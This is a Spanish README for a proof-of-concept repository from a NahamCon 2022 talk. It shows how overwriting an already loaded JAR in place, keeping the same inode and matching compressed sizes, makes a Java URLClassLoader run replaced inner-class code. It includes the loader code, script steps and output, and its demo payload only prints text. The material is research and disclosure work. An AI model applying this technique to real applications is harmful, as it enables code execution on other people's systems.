
Demo del intercambio de JAR de URLClassLoader que muestra la capacidad de reemplazar y explotar un JAR ya cargado con clases internas.
El siguiente código de ejemplo demuestra la capacidad de intercambiar en caliente un JAR ya cargado y obtener ejecución de código abusando del hecho de que las clases internas todavía acceden al archivo JAR cuando se invocan, siempre y cuando el inodo no cambie.
Probado en MacOS con OpenJDK (y también explotado en el publicador de Apple Author mediante Transporter).
Demo de la charla de Frans Rosén "Story of a RCE on Apple through hot jar swapping" de la NahamCon 2022 EU.
build-and-run.shLo ejecutas con:
./build-and-run.sh
Esto hará:
Compile HelloWorld/*.java into HelloWorld.jar
Compile Bootstrapper/*.java into Bootstrapper.jar
Make a copy of HelloWorld.jar into OrigHelloWorld.jar
Run Bootstrapper.jar
Bootstrapper cargará y ejecutará la clase HelloWorld.Main usando URLClassLoader y te pedirá que ejecutes el método hello de la clase HelloWorld.Secondary, que también ya ha sido cargada. Esto sirve para controlar cuándo reemplazar el JAR que ya se ha cargado.
$ ./build-and-run.sh
Hello from Main-class
Click enter when you want to trigger the secondary class method
(run ./exploit.sh to replace JAR)
Ahora puedes decidir si pulsar enter sin reemplazar ningún JAR; esto mostrará el flujo de código correcto de HelloWorld/Secondary.java:
Hello from secondary class, here are all files in testdir/
testdir/hej
testdir/hej123
This is from the legit postVisitDirectory function:
testdir
End of run, goodbye
exploit.shEl exploit.sh hará:
Compile Exploit/HelloWorld/*.java and move *.class files over to BuildDirForExploit/
Compile a exploit.jar from BuildDirForExploit/-dir
Compare the exploit.jar and OrigHelloWorld.jar using unzip -lv
Tell you if there's a diff or not based on size, compression rate and compression size
Copy exploit.jar over the existing HelloWorld.jar regardless if there's a difference or not
La parte de copiado al sobrescribir HelloWorld.jar con exploit.jar es importante, porque si el inodo cambia, el exploit no tendrá éxito. Un comando mv escribirá un nuevo inodo, pero cp sobre un archivo existente no. Lo mismo ocurría al usar la extracción ZIP: el inodo del JAR ya existente nunca cambiaba, lo que permitía que el exploit funcionara.
Si quieres probar el intercambio en caliente de JAR, ejecuta exploit.sh en otra ventana después de ejecutar pero antes de pulsar enter al llamar a build-and-run.sh:
$ ./build-and-run.sh
Hello from Main-class
Click enter when you want to trigger the secondary class method
(run ./exploit.sh to replace JAR)
## Run this in a different terminal:
$ ./exploit.sh
NO DIFF IN COMPRESSION, EXPLOIT WILL SUCCEED
-rw-r--r-- 1 frans staff 2281 Dec 9 13:20 rce.jar
-rw-r--r--@ 1 frans staff 2281 Dec 9 13:20 ../HelloWorld.jar
## Now click enter in the other tab to complete the ./build-and-run.sh)
Si ahora pulsas enter en ./build-and-run.sh, deberías ver con éxito el código reemplazado:
Hello from secondary class, here are all files in testdir/
testdir/hej
testdir/hej123
AAAAAAAFGFFFFAAAGAAAAFAAAAAFFFFFAAAFA different code
testdir
End of run, goodbye
Demostrando que podemos abusar del hecho de que las clases internas/anónimas todavía se cargan desde el archivo JAR físico incluso si el URLClassLoader ya había cargado el JAR antes de que lo reemplazáramos.
Este repositorio de código intenta explicar que es posible sobrescribir archivos JAR ya cargados para obtener ejecución de código bajo unos pocos requisitos previos.
La idea es que el JAR se cargó inicialmente con URLClassLoader:
URL[] classLoaderUrls = new URL[]{new URL("file://" + System.getProperty("user.dir") + "/HelloWorld.jar")};
URLClassLoader urlClassLoader = new URLClassLoader(classLoaderUrls);
Class<?> beanClass = urlClassLoader.loadClass("HelloWorld.Main");
Constructor<?> constructor = beanClass.getConstructor();
Object beanObj = constructor.newInstance();
Method method = beanClass.getMethod("hello");
Y un método secundario también se cargó al arrancar pero nunca se invocó:
// Initiating the secondary class on boot, this is the one we replace the inner class of
Class<?> secondaryClass = urlClassLoader.loadClass("HelloWorld.Secondary");
Constructor<?> secondaryConstructor = secondaryClass.getConstructor();
Object secondaryObj = secondaryConstructor.newInstance();
Method secondaryMethod = secondaryClass.getMethod("hello");
Si el JAR se reemplaza mientras la aplicación está en ejecución, y la clase que se cargó pero a la que nunca se le invocaron métodos también tiene clases internas, podemos hacer que ejecute código diferente del nuevo JAR si la invocación ocurre más tarde:
// Invoke secondary class hello that contains an inner class
secondaryMethod.invoke(secondaryObj);
Entonces, si este método contiene una clase interna (aparecen en el JAR como $1.class) y reemplazamos la clase interna con algo del mismo tamaño y tasa de compresión, podemos intercambiar en caliente el JAR y lograr que nuestro propio código se ejecute.
La clase anónima del archivo Exploit/HelloWorld/Secondary.java se compila en la clase interna Exploit/HelloWorld/Secondary$1.class, que tiene el mismo tamaño y tasa de compresión que cuando se compila y comprime HelloWorld/Secondary.java. Si el tamaño o la tasa de compresión difirieran, obtendrías un fallo al pulsar enter en build-and-run.sh.
Así que si cambiaras Exploit/HelloWorld/Secondary.java, por ejemplo (functionn en lugar de function:):
public FileVisitResult postVisitDirectory(Path dir, IOException exc) throws IOException {
System.out.println("\nThis is from the legit postVisitDirectory functionn");
System.out.println(dir);
return FileVisitResult.CONTINUE;
}
Donde el resultado de compresión es el mismo pero la tasa de compresión es incorrecta:
$ ./exploit.sh
6c6
< 1430 643 55% HelloWorld/Secondary$1.class
---
> 1430 644 55% HelloWorld/Secondary$1.class
DIFF IN COMP, EXPLOIT WILL CRASH
-rw-r--r-- 1 frans staff 2280 Dec 9 13:44 exploit.jar
-rw-r--r--@ 1 frans staff 2281 Dec 9 13:44 ../HelloWorld.jar
verías:
Hello from Main-class
Click enter when you want to trigger the secondary class method
(run ./exploit.sh to replace JAR)
Hello from secondary class, here are all files in testdir/
Exception in thread "main" java.lang.reflect.InvocationTargetException
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:498)
at Bootstrapper.Main.main(Main.java:38)
Caused by: java.lang.NoClassDefFoundError: HelloWorld/Secondary$1
at HelloWorld.Secondary.hello(Secondary.java:11)
... 5 more
Caused by: java.lang.ClassNotFoundException: HelloWorld.Secondary$1
at java.net.URLClassLoader.findClass(URLClassLoader.java:387)
at java.lang.ClassLoader.loadClass(ClassLoader.java:418)
at java.lang.ClassLoader.loadClass(ClassLoader.java:351)
... 6 more
En OpenJDK parece que si el tamaño original difiere pero el tamaño de compresión es el mismo, todavía funciona:
public FileVisitResult postVisitDirectory(Path dir, IOException exc) throws IOException {
System.out.println("AAAADDAAAAAAAAAFFAAAAAAAAAAAAAFFAAAAGGAAGGAAAGPTAAFPFAFPAPA");
System.out.println(dir);
return FileVisitResult.CONTINUE;
}
$ ./exploit.sh
6c6
< 1437 644 55% HelloWorld/Secondary$1.class
---
> 1430 644 55% HelloWorld/Secondary$1.class
9c9
< 2895 45% 5
---
> 2888 45% 5
DIFF IN COMP, EXPLOIT WILL CRASH
-rw-r--r-- 1 frans staff 2281 Dec 9 13:52 exploit.jar
-rw-r--r--@ 1 frans staff 2282 Dec 9 13:52 ../HelloWorld.jar
Hello from secondary class, here are all files in testdir/
testdir/hej
testdir/hej123
AAAADDAAAAAAAAAFFAAAAAAAAAAAAAFFAAAAGGAAGGAAAGPTAAFPFAFPAPA
testdir
El exploit.sh seguirá diciendo que hay una diferencia, ya que podría no funcionar en todas las versiones.
También verás que si cambias cosas en Exploit/HelloWorld/Secondary.java fuera de la clase interna, como:
System.out.println("\nEnd of run, goodbye");
por:
System.out.println("\nEnd of run, goodbya");
lo que hará que Secondary.class tenga la misma tasa de compresión y tamaño, el contenido reemplazado no se activará, ya que la clase ya está cargada por URLClassLoader, confirmando que esto solo afecta a las clases internas (las que se nombran $1.class en el JAR), porque se cargan desde el archivo JAR cuando se utilizan:
End of run, goodbye